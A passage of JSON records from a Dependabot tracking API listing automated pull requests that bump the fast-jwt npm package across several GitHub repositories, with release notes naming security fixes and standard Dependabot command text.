/\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=fast-jwt\u0026package-manager=npm_and_yarn\u0026previous-version=6.2.2\u0026new-version=6.2.4)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/Unwrenchable/effective-engine/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/Unwrenchable/effective-engine/pull/30","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Unwrenchable%2Feffective-engine/issues/30","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/30/packages"},{"uuid":"4398700752","node_id":"PR_kwDOLCnFzc7ZI62-","number":811,"state":"closed","title":"build(deps): bump fast-jwt from 6.2.2 to 6.2.4 in /backend in the npm_and_yarn group across 1 directory","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-11T06:34:40.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-07T12:20:18.000Z","updated_at":"2026-05-11T06:34:48.000Z","time_to_close":324862,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"build(deps)","packages":[{"name":"fast-jwt","old_version":"6.2.2","new_version":"6.2.4","repository_url":"https://github.com/nearform/fast-jwt"}],"path":"/backend in the npm_and_yarn group across 1 directory","ecosystem":"npm"},"body":"Bumps the npm_and_yarn group with 1 update in the /backend directory: [fast-jwt](https://github.com/nearform/fast-jwt).\n\nUpdates `fast-jwt` from 6.2.2 to 6.2.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.2.4\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: reject empty HMAC secret in prepareKeyOrSecret (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/609\"\u003e#609\u003c/a\u003e) by \u003ca href=\"https://github.com/SociableSteve\"\u003e\u003ccode\u003e@​SociableSteve\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/610\"\u003enearform/fast-jwt#610\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.3...v6.2.4\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.2.3...v6.2.4\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.2.3\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps-dev): bump typescript from 5.9.3 to 6.0.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/604\"\u003enearform/fast-jwt#604\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: strict base64url validation on verify (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/606\"\u003e#606\u003c/a\u003e) by \u003ca href=\"https://github.com/mvanhorn\"\u003e\u003ccode\u003e@​mvanhorn\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/607\"\u003enearform/fast-jwt#607\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mvanhorn\"\u003e\u003ccode\u003e@​mvanhorn\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/607\"\u003enearform/fast-jwt#607\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.2...v6.2.3\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.2.2...v6.2.3\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/044bf42c8e0a2eda8afc0819f97ae435c4214e3c\"\u003e\u003ccode\u003e044bf42\u003c/code\u003e\u003c/a\u003e Release v6.2.4 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/611\"\u003e#611\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/4e5b5708b6a9bfa5b06b5b10f888084b754c740d\"\u003e\u003ccode\u003e4e5b570\u003c/code\u003e\u003c/a\u003e fix: reject empty HMAC secret in prepareKeyOrSecret (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/609\"\u003e#609\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/610\"\u003e#610\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ab7e46cd66b1ddff689c0b91a0392fef52a37df6\"\u003e\u003ccode\u003eab7e46c\u003c/code\u003e\u003c/a\u003e Release v6.2.3 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/608\"\u003e#608\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/111286c9b650e089d6fdef939646d234064da3de\"\u003e\u003ccode\u003e111286c\u003c/code\u003e\u003c/a\u003e fix: strict base64url validation on verify (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/606\"\u003e#606\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/607\"\u003e#607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0a0cdba904a7b3b38686a64c0339443fecdaa3a5\"\u003e\u003ccode\u003e0a0cdba\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump typescript from 5.9.3 to 6.0.3 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/604\"\u003e#604\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.2...v6.2.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n","html_url":"https://github.com/FalkorDB/falkordb-dbaas/pull/811","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/FalkorDB%2Ffalkordb-dbaas/issues/811","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/811/packages"},{"uuid":"4238067529","node_id":"PR_kwDODHZ9hs7RZnKI","number":2244,"state":"open","title":"chore(deps): bump fast-jwt from 6.1.0 to 6.2.2","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-10T09:24:53.000Z","updated_at":"2026-04-10T09:24:54.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"fast-jwt","old_version":"6.1.0","new_version":"6.2.2","repository_url":"https://github.com/nearform/fast-jwt"}],"path":null,"ecosystem":"npm"},"body":"Bumps [fast-jwt](https://github.com/nearform/fast-jwt) from 6.1.0 to 6.2.2.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.2.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd guard against 'null' token and token parts by \u003ca href=\"https://github.com/SociableSteve\"\u003e\u003ccode\u003e@​SociableSteve\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/602\"\u003enearform/fast-jwt#602\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/SociableSteve\"\u003e\u003ccode\u003e@​SociableSteve\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/602\"\u003enearform/fast-jwt#602\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.1...v6.2.2\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.2.1...v6.2.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.2.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix/regex non deterministic validation by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/593\"\u003enearform/fast-jwt#593\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: GHSA-cjw9-ghj4-fwxf CVE-2026-35041 ReDoS when using RegExp in allowed options by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/595\"\u003enearform/fast-jwt#595\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.0...v6.2.1\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.2.0...v6.2.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.2.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/575\"\u003enearform/fast-jwt#575\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e by \u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix acceptance of unknown crit headers and comply with RFC 7515 by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: cache confusion risk with composite-key approach by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/587\"\u003enearform/fast-jwt#587\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/c3c4fea64c32b273341b7fba4ee54603ff93e220\"\u003e\u003ccode\u003ec3c4fea\u003c/code\u003e\u003c/a\u003e Release v6.2.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/603\"\u003e#603\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/f6763a4d2aa4826458f155ef6ed0a9c07b15ddd5\"\u003e\u003ccode\u003ef6763a4\u003c/code\u003e\u003c/a\u003e fixes \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/601\"\u003e#601\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/602\"\u003e#602\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/6b13fe96614a38613d453f46ba0631c4cd09dcd8\"\u003e\u003ccode\u003e6b13fe9\u003c/code\u003e\u003c/a\u003e Release v6.2.1 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/600\"\u003e#600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/b0be0ca161593836a153d5180ca5358ad9b5de94\"\u003e\u003ccode\u003eb0be0ca\u003c/code\u003e\u003c/a\u003e fix: GHSA-cjw9-ghj4-fwxf CVE-2026-35041 ReDoS when using RegExp in allowed op...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/18d25904e4617e8753526d1b3ab5a2cccdea726a\"\u003e\u003ccode\u003e18d2590\u003c/code\u003e\u003c/a\u003e Fix/regex non deterministic validation (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/593\"\u003e#593\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e07b1fd23f02a47f1be677a21a4f07607b478e66\"\u003e\u003ccode\u003ee07b1fd\u003c/code\u003e\u003c/a\u003e Release v6.2.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/599\"\u003e#599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/de121056c6415b58770c60640881eaec67ac4ceb\"\u003e\u003ccode\u003ede12105\u003c/code\u003e\u003c/a\u003e fix: cache confusion risk with composite-key approach (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/587\"\u003e#587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/80b49c73cf708701e1e3da7c16ef735789cb269c\"\u003e\u003ccode\u003e80b49c7\u003c/code\u003e\u003c/a\u003e fix acceptance of unknown crit headers and comply with RFC 7515 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/591\"\u003e#591\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/597c4b6e6af3bd823f624debdaa7f57fa92b1e2d\"\u003e\u003ccode\u003e597c4b6\u003c/code\u003e\u003c/a\u003e fix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/598\"\u003e#598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa\"\u003e\u003ccode\u003e0ff14a6\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/575\"\u003e#575\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=fast-jwt\u0026package-manager=npm_and_yarn\u0026previous-version=6.1.0\u0026new-version=6.2.2)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/Tony133/fastify-api-boilerplate-jwt/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/Tony133/fastify-api-boilerplate-jwt/pull/2244","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Tony133%2Ffastify-api-boilerplate-jwt/issues/2244","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/2244/packages"},{"uuid":"4233756280","node_id":"PR_kwDOQ_O8587RM1K7","number":96,"state":"closed","title":"chore(deps): bump fast-jwt from 6.1.0 to 6.2.1","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-11T17:53:35.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-09T17:01:41.000Z","updated_at":"2026-04-11T17:53:37.000Z","time_to_close":175914,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"fast-jwt","old_version":"6.1.0","new_version":"6.2.1","repository_url":"https://github.com/nearform/fast-jwt"}],"path":null,"ecosystem":"npm"},"body":"Bumps [fast-jwt](https://github.com/nearform/fast-jwt) from 6.1.0 to 6.2.1.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.2.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix/regex non deterministic validation by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/593\"\u003enearform/fast-jwt#593\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: GHSA-cjw9-ghj4-fwxf CVE-2026-35041 ReDoS when using RegExp in allowed options by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/595\"\u003enearform/fast-jwt#595\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.2.0...v6.2.1\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.2.0...v6.2.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev6.2.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/575\"\u003enearform/fast-jwt#575\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e by \u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix acceptance of unknown crit headers and comply with RFC 7515 by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: cache confusion risk with composite-key approach by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/587\"\u003enearform/fast-jwt#587\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/6b13fe96614a38613d453f46ba0631c4cd09dcd8\"\u003e\u003ccode\u003e6b13fe9\u003c/code\u003e\u003c/a\u003e Release v6.2.1 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/600\"\u003e#600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/b0be0ca161593836a153d5180ca5358ad9b5de94\"\u003e\u003ccode\u003eb0be0ca\u003c/code\u003e\u003c/a\u003e fix: GHSA-cjw9-ghj4-fwxf CVE-2026-35041 ReDoS when using RegExp in allowed op...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/18d25904e4617e8753526d1b3ab5a2cccdea726a\"\u003e\u003ccode\u003e18d2590\u003c/code\u003e\u003c/a\u003e Fix/regex non deterministic validation (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/593\"\u003e#593\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e07b1fd23f02a47f1be677a21a4f07607b478e66\"\u003e\u003ccode\u003ee07b1fd\u003c/code\u003e\u003c/a\u003e Release v6.2.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/599\"\u003e#599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/de121056c6415b58770c60640881eaec67ac4ceb\"\u003e\u003ccode\u003ede12105\u003c/code\u003e\u003c/a\u003e fix: cache confusion risk with composite-key approach (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/587\"\u003e#587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/80b49c73cf708701e1e3da7c16ef735789cb269c\"\u003e\u003ccode\u003e80b49c7\u003c/code\u003e\u003c/a\u003e fix acceptance of unknown crit headers and comply with RFC 7515 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/591\"\u003e#591\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/597c4b6e6af3bd823f624debdaa7f57fa92b1e2d\"\u003e\u003ccode\u003e597c4b6\u003c/code\u003e\u003c/a\u003e fix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/598\"\u003e#598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa\"\u003e\u003ccode\u003e0ff14a6\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/575\"\u003e#575\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=fast-jwt\u0026package-manager=npm_and_yarn\u0026previous-version=6.1.0\u0026new-version=6.2.1)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this 